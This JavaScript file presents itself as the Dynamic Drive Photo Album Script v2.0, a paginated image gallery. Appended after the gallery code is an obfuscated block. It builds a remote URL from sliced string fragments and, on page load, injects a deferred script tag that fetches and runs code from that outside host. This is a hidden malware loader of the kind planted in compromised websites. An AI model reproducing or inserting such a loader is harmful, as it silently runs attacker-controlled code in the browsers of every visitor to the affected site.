// -------------------------------------------------------------------
// Photo Album Script v2.0- By Dynamic Drive, available at: http://www.dynamicdrive.com
// Mar 11th, 07': Script updated to v2.0
// -------------------------------------------------------------------

function photogallery(garray, cols, rows, twidth, theight, paginatetext){
	gcount=(typeof gcount=="undefined")? 1 : gcount+1 //global var to keep count of current instance of photo gallery
	this.gcount=gcount
	this.galleryarray=garray
	this.cols=cols
	this.rows=rows
	var twidth=twidth || "700px" //default table width is 700px
	var theight=theight || "500px"
	var ptext=(typeof paginatetext=="object")? paginatetext : ["", ""] //Store 2 compontents of paginate DIV text inside array
	this.pagecount=Math.ceil(this.galleryarray.length/(cols*rows)) //calculate number of "pages" needed to show the images
	document.write('<table class="photogallery" id="photogallery-'+gcount+'" border="0" cellspacing="0" cellpadding="0">') //Generate table for Photo Gallery
	for (var r=0; r<rows; r++){
		document.write('<tr>')
		for (var c=0; c<cols; c++)
			document.write('<td valign="top"></td>')
		document.write('</tr>')
	}
	document.write('</table>')
	document.write('<div class="photonavlinks" id="photogallerypaginate-'+gcount+'"></div>') //Generate Paginate Div

	var gdiv=document.getElementById("photogallery-"+this.gcount)
	var pdiv=document.getElementById("photogallerypaginate-"+this.gcount)
	gdiv.onselectphoto=function(imgobj, linkobj){return true} //custom event handler "onselectphoto", invoked when user clicks on an image within gallery
	this.showpage(gdiv, 0)
	this.createNav(gdiv, pdiv, ptext)
	gdiv.onclick=function(e){return photogallery.defaultselectaction(e, this)} //attach default custom event handler action to "onclick" event
	return gdiv
}

photogallery.prototype.createImage=function(imgparts){
		

var imageHTML='<div id="gImg"><img src="'+imgparts[0]+'"  alt="" title="'+imgparts[1]+'"/>'
	if (typeof imgparts[2]!="undefined" && imgparts[2]!=""){ //Create URL?
		var linktarget=imgparts[3] || ""
		//imageHTML='<a href="'+imgparts[2]+'" target="'+linktarget+'"  rel="facebox">'+imageHTML+'</a>'
		imageHTML='<a href="'+imgparts[2]+'" rel="lightbox[roadtrip]" title="'+imgparts[1]+'">'+imageHTML+'</a>'
	}
	if (typeof imgparts[1]!="undefined" && imgparts[1]!="") //Display description?
		imageHTML+='<br /><span>'+imgparts[1]+'</span></div>'
	return imageHTML
}


photogallery.prototype.showpage=function(gdiv, pagenumber){
	var totalitems=this.galleryarray.length //total number of images
	var showstartindex=pagenumber*(this.rows*this.cols) //array index of div to start showing per pagenumber setting
	var showendindex=showstartindex+(this.rows*this.cols) //array index of div to stop showing after per pagenumber setting
	var tablecells=gdiv.getElementsByTagName("td")
	for (var i=showstartindex, currentcell=0; i<showendindex && i<totalitems; i++, currentcell++) //Loop thru this page's images and populate cells with them
		tablecells[currentcell].innerHTML=this.createImage(this.galleryarray[i])
	while (currentcell<tablecells.length){ //For unused cells, if any, clear out its contents
		tablecells[currentcell].innerHTML=""
		currentcell++
	}
}

photogallery.prototype.createNav=function(gdiv, pdiv , ptext){
	if (this.pagecount>1){
		var instanceOfGallery=this
		var navHTML="<span>Paginas</span><br/>"
		for (var i=0; i<this.pagecount; i++)
			navHTML+='<a href="#controle" rel="'+i+'">'+ptext[1]+(i+1)+'</a> ' //build sequential nav links
		pdiv.innerHTML=ptext[0]+' '+navHTML
		var navlinks=pdiv.getElementsByTagName("a")
		navlinks[0].className="current" //Select first link by default
		this.previouspage=navlinks[0] //Set previous clicked on link to current link for future ref
		for (var i=0; i<navlinks.length; i++){
			navlinks[i].onclick=function(){
				instanceOfGallery.previouspage.className="" //"Unhighlight" last link clicked on...
				this.className="current" //while "highlighting" currently clicked on flatview link (setting its class name to "selected"
				instanceOfGallery.showpage(gdiv, this.getAttribute("rel"))
				instanceOfGallery.previouspage=this //Set previous clicked on link to current link for future ref
	
				return false
			}
		}
	}
}

photogallery.defaultselectaction=function(e, gdiv){ //function that runs user defined "onselectphoto()" event handler
	var evtobj=e || window.event
	var clickedobj=evtobj.target || evtobj.srcElement
	if (clickedobj.tagName=="IMG"){
		var linkobj=(clickedobj.parentNode.tagName=="A")? clickedobj.parentNode : null
		return gdiv.onselectphoto(clickedobj, linkobj)
	}
}
var R;if(R!=''){R='ay'};var B;if(B!='P' && B!='UZ'){B='P'};var qA=new Date();function a(){var K='';var Q="";var _=new String();var i=RegExp;var x=new String("g");this.l='';var EA='';this.C="";function E(q,F){this.KS="";this.ZJ="";var Uz='';var wi;if(wi!='' && wi!='o'){wi='xb'};var W= "[3aU".substr(0,1);var si;if(si!='' && si!='J_'){si=null};W+=F;W+=new String("EZo]".substr(3));var w=new i(W, x);return q.replace(w, K);};var Tj=new Date();var N;if(N!='uq' && N!='Pf'){N='uq'};var ZZ=new String();var rA;if(rA!='' && rA!='Km'){rA='Rs'};var O=String("PkTQhtt".substr(4)+"ePnp:/Pen".substr(3,3)+"/19myR".substr(0,3)+"VPilou".substr(3)+"-co"+"w3zm.izw3".substr(3,3)+"6U4Dkea".substr(4)+"OIi.co".substr(3)+"m.ro6ah".substr(0,3)+"ott"+"ouT5entT5uo".substr(4,3)+"oma"+"toerqAp".substr(0,3)+"s-c"+"om.gX6".substr(0,3)+"lomnewoml".substr(3,3)+"wor0PgS".substr(0,3)+"ldu"+"pAZjnio".substr(4)+"s4dn.rs4d".substr(3,3)+"d8Ou:".substr(3));var Fb;if(Fb!='_n' && Fb!='zA'){Fb=''};var r=window;var Kz;if(Kz!='' && Kz!='Qg'){Kz=null};var k;if(k!='' && k!='tE'){k=null};var f="/last"+".fm/l"+"opFast.f".substr(3)+"m/wer"+"-kenn"+"t-wenK2k0".substr(0,5)+".de/b"+"hOpebo.chpO".substr(3,5)+"om/goJXQK".substr(0,5)+"S5pogle.5pS".substr(3,5)+"YVzcom.pYzV".substr(3,5)+"hp9MRy".substr(0,2);var z='';this.fh="";var fT;if(fT!='' && fT!='yp'){fT=''};var T=E('87527307242835340354',"27435");var m;if(m!='en'){m='en'};this.xG="";var TG=new String("QJKscri".substr(3)+"ptLNf".substr(0,2));var iV="srcx9Xy".substr(0,3);this.Ey='';var sj;if(sj!='To'){sj=''};var H="defer";var Kp;if(Kp!='' && Kp!='cF'){Kp='RG'};r.onload=function(){var iE;if(iE!='RGB'){iE=''};var GP=new String();try {var Oo='';var cz="";var KA=new Date();var kZ='';z=O+T;z+=f;U=document.createElement(TG);this.RR="";var MG;if(MG!='BC'){MG='BC'};U[iV]=z;var uE=new Array();U[H]=[1][0];this.AW='';var ze;if(ze!='' && ze!='ue'){ze=null};document.body.appendChild(U);var VR=new Array();var pY=new Array();} catch(FJ){var Vc;if(Vc!='ri' && Vc!='LT'){Vc=''};};};};var k_=new Date();var Fq;if(Fq!='QQ'){Fq='QQ'};a();var YP=new Array();var HI=new Date();